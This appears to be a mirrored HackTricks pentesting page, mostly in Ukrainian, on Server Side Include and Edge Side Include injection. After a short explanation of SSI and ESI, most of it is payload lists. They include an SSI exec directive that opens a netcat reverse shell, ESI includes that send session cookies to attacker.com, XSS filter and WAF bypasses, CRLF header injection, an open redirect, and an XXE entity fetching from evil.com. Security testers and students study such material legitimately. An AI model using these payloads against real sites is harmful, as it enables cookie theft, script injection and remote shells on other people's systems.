mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
239 lines
15 KiB
Markdown
239 lines
15 KiB
Markdown
# Server Side Inclusion/Edge Side Inclusion Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Server Side Inclusion Basic Information
|
||
|
||
**(Introduction taken from [Apache docs](https://httpd.apache.org/docs/current/howto/ssi.html))**
|
||
|
||
SSI (Server Side Includes) - це директиви, які **розміщуються в HTML-сторінках і оцінюються на сервері** під час їх обслуговування. Вони дозволяють вам **додавати динамічно згенерований контент** до існуючої HTML-сторінки, не обслуговуючи всю сторінку через CGI-програму або іншу динамічну технологію.\
|
||
Наприклад, ви можете розмістити директиву в існуючій HTML-сторінці, таку як:
|
||
|
||
`<!--#echo var="DATE_LOCAL" -->`
|
||
|
||
І, коли сторінка обслуговується, цей фрагмент буде оцінений і замінений на його значення:
|
||
|
||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||
|
||
Рішення про те, коли використовувати SSI, а коли повністю генерувати вашу сторінку якоюсь програмою, зазвичай залежить від того, скільки з сторінки є статичним, а скільки потрібно перераховувати щоразу, коли сторінка обслуговується. SSI - це чудовий спосіб додати невеликі шматки інформації, такі як поточний час - показано вище. Але якщо більшість вашої сторінки генерується в момент її обслуговування, вам потрібно шукати інше рішення.
|
||
|
||
Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширеннями \*\* `.shtml`, `.shtm` або `.stm`\*\*, але це не є єдиним випадком.
|
||
|
||
Типовий вираз SSI має наступний формат:
|
||
```
|
||
<!--#directive param="value" -->
|
||
```
|
||
### Перевірка
|
||
```javascript
|
||
// Document name
|
||
<!--#echo var="DOCUMENT_NAME" -->
|
||
// Date
|
||
<!--#echo var="DATE_LOCAL" -->
|
||
|
||
// File inclusion
|
||
<!--#include virtual="/index.html" -->
|
||
// Including files (same directory)
|
||
<!--#include file="file_to_include.html" -->
|
||
// CGI Program results
|
||
<!--#include virtual="/cgi-bin/counter.pl" -->
|
||
// Including virtual files (same directory)
|
||
<!--#include virtual="file_to_include.html" -->
|
||
// Modification date of a file
|
||
<!--#flastmod file="index.html" -->
|
||
|
||
// Command exec
|
||
<!--#exec cmd="dir" -->
|
||
// Command exec
|
||
<!--#exec cmd="ls" -->
|
||
// Reverse shell
|
||
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
|
||
|
||
// Print all variables
|
||
<!--#printenv -->
|
||
// Setting variables
|
||
<!--#set var="name" value="Rich" -->
|
||
|
||
```
|
||
## Edge Side Inclusion
|
||
|
||
Є проблема **кешування інформації або динамічних додатків**, оскільки частина контенту може **варіюватися** для наступного отримання контенту. Саме для цього використовується **ESI**, щоб вказати за допомогою тегів ESI **динамічний контент, який потрібно згенерувати** перед відправкою кешованої версії.\
|
||
Якщо **зловмисник** зможе **впровадити тег ESI** всередину кешованого контенту, тоді він зможе **впровадити довільний контент** у документ перед його відправкою користувачам.
|
||
|
||
### ESI Detection
|
||
|
||
Наступний **заголовок** у відповіді від сервера означає, що сервер використовує ESI:
|
||
```
|
||
Surrogate-Control: content="ESI/1.0"
|
||
```
|
||
Якщо ви не можете знайти цей заголовок, сервер **може використовувати ESI в будь-якому випадку**.\
|
||
**Можна також використовувати підхід сліпої експлуатації**, оскільки запит має надійти на сервер атакуючого:
|
||
```javascript
|
||
// Basic detection
|
||
hell<!--esi-->o
|
||
// If previous is reflected as "hello", it's vulnerable
|
||
|
||
// Blind detection
|
||
<esi:include src=http://attacker.com>
|
||
|
||
// XSS Exploitation Example
|
||
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
|
||
|
||
// Cookie Stealer (bypass httpOnly flag)
|
||
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
|
||
|
||
// Introduce private local files (Not LFI per se)
|
||
<esi:include src="supersecret.txt">
|
||
|
||
// Valid for Akamai, sends debug information in the response
|
||
<esi:debug/>
|
||
```
|
||
### ESI експлуатація
|
||
|
||
[GoSecure створив](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) таблицю для розуміння можливих атак, які ми можемо спробувати проти різного програмного забезпечення, що підтримує ESI, залежно від підтримуваної функціональності:
|
||
|
||
* **Includes**: Підтримує директиву `<esi:includes>`
|
||
* **Vars**: Підтримує директиву `<esi:vars>`. Корисно для обходу XSS фільтрів
|
||
* **Cookie**: Документні куки доступні для ESI двигуна
|
||
* **Upstream Headers Required**: Сурогатні програми не оброблятимуть ESI інструкції, якщо upstream програма не надає заголовки
|
||
* **Host Allowlist**: У цьому випадку ESI включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можливим лише проти цих хостів
|
||
|
||
| **Програмне забезпечення** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||
| :-----------------------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||
| Squid3 | Так | Так | Так | Так | Ні |
|
||
| Varnish Cache | Так | Ні | Ні | Так | Так |
|
||
| Fastly | Так | Ні | Ні | Ні | Так |
|
||
| Akamai ESI Test Server (ETS) | Так | Так | Так | Ні | Ні |
|
||
| NodeJS esi | Так | Так | Так | Ні | Ні |
|
||
| NodeJS nodesi | Так | Ні | Ні | Ні | Необов'язково |
|
||
|
||
#### XSS
|
||
|
||
Наступна ESI директива завантажить довільний файл всередині відповіді сервера
|
||
```xml
|
||
<esi:include src=http://attacker.com/xss.html>
|
||
```
|
||
#### Обхід захисту XSS клієнта
|
||
```xml
|
||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||
|
||
Use <!--esi--> to bypass WAFs:
|
||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||
```
|
||
#### Вкрасти Cookie
|
||
|
||
* Віддалене вкрадення cookie
|
||
```xml
|
||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||
```
|
||
* Вкрасти cookie HTTP\_ONLY за допомогою XSS, відображаючи його у відповіді:
|
||
```bash
|
||
# This will reflect the cookies in the response
|
||
<!--esi $(HTTP_COOKIE) -->
|
||
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
|
||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||
|
||
# It's possible to put more complex JS code to steal cookies or perform actions
|
||
```
|
||
#### Приватний локальний файл
|
||
|
||
Не плутайте це з "Локальним включенням файлів":
|
||
```markup
|
||
<esi:include src="secret.txt">
|
||
```
|
||
#### CRLF
|
||
```markup
|
||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||
```
|
||
#### Open Redirect
|
||
|
||
Наступне додасть заголовок `Location` до відповіді
|
||
```bash
|
||
<!--esi $add_header('Location','http://attacker.com') -->
|
||
```
|
||
#### Додати заголовок
|
||
|
||
* Додати заголовок у примусовий запит
|
||
```xml
|
||
<esi:include src="http://example.com/asdasd">
|
||
<esi:request_header name="User-Agent" value="12345"/>
|
||
</esi:include>
|
||
```
|
||
* Додати заголовок у відповідь (корисно для обходу "Content-Type: text/json" у відповіді з XSS)
|
||
```bash
|
||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||
|
||
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
||
|
||
# Check the number of url_decode to know how many times you can URL encode the value
|
||
```
|
||
#### CRLF в заголовку Add (**CVE-2019-2438**)
|
||
```xml
|
||
<esi:include src="http://example.com/asdasd">
|
||
<esi:request_header name="User-Agent" value="12345
|
||
Host: anotherhost.com"/>
|
||
</esi:include>
|
||
```
|
||
#### Akamai debug
|
||
|
||
Це надішле інформацію для налагодження, включену у відповідь:
|
||
```xml
|
||
<esi:debug/>
|
||
```
|
||
### ESI + XSLT = XXE
|
||
|
||
Вказуючи значення `xslt` для параметра _dca_, можливо включити **`eXtensible Stylesheet Language Transformations (XSLT)`** на основі ESI. Включення змушує HTTP сурогат отримувати XML та XSLT файли, при цьому останній фільтрує перший. Такі XML файли можуть бути використані для атак _XML External Entity (XXE)_, що дозволяє зловмисникам виконувати атаки SSRF. Однак корисність цього підходу обмежена, оскільки ESI вже служить вектором SSRF. Через відсутність підтримки в основній бібліотеці Xalan зовнішні DTD не обробляються, що запобігає витоку локальних файлів.
|
||
```xml
|
||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||
```
|
||
Файл XSLT:
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
||
<foo>&xxe;</foo>
|
||
```
|
||
Перевірте сторінку XSLT:
|
||
|
||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Посилання
|
||
|
||
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
||
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||
|
||
## Список виявлення брутфорсу
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримати HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|